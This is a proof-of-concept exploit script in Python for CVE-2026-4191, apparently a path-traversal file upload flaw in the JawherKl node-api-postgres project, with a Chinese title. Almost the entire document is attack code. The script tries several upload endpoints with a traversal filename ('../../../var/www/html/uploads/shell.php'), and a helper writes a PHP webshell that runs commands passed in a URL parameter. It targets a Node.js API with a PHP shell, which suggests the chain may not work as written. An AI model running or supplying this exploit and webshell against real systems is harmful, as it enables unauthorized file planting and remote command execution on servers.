CVE-2026-4191 JawherKl node-api-postgres路径遍历导致任意文件上传漏洞

import requests import sys # CVE-2026-4191 PoC - Unrestricted File Upload in JawherKl node-api-postgres # Target: JawherKl node-api-postgres <= 2.5 # Vulnerability: Profile Picture Handler path.extname bypass def exploit(target_url, file_path, filename): """ Exploit for CVE-2026-4191 Upload malicious file using path traversal in filename Args: target_url: Target API endpoint for profile picture upload file_path: Path to malicious file to upload filename: Filename with path traversal payload (e.g., '../../../shell.php') """ try: with open(file_path, 'rb') as f: file_content = f.read() files = { 'file': (filename, file_content, 'application/octet-stream') } # Try common upload endpoints endpoints = [ '/api/users/avatar', '/api/profile/picture', '/api/upload/avatar', '/upload', '/api/upload' ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Trying upload endpoint: {url}") try: response = requests.post(url, files=files, timeout=10) if response.status_code == 200: print(f"[+] File upload successful via {url}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Upload failed with status {response.status_code}") except requests.RequestException as e: print(f"[-] Request failed: {e}") return False except FileNotFoundError: print(f"[-] File not found: {file_path}") return False def create_webshell(filepath): """ Generate PHP webshell for testing """ webshell = b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' with open(filepath, 'wb') as f: f.write(webshell) print(f"[+] Created webshell: {filepath}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-4191.py <target_url> <malicious_file>") print("Example: python cve-2026-4191.py http://target.com evil.jpg") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] # Filename with path traversal to bypass extension check malicious_filename = "../../../var/www/html/uploads/shell.php" print("[*] CVE-2026-4191 Exploit") print("[*] Target: " + target) print("[*] Malicious file: " + file_path) print("[*] Filename payload: " + malicious_filename) exploit(target, file_path, malicious_filename)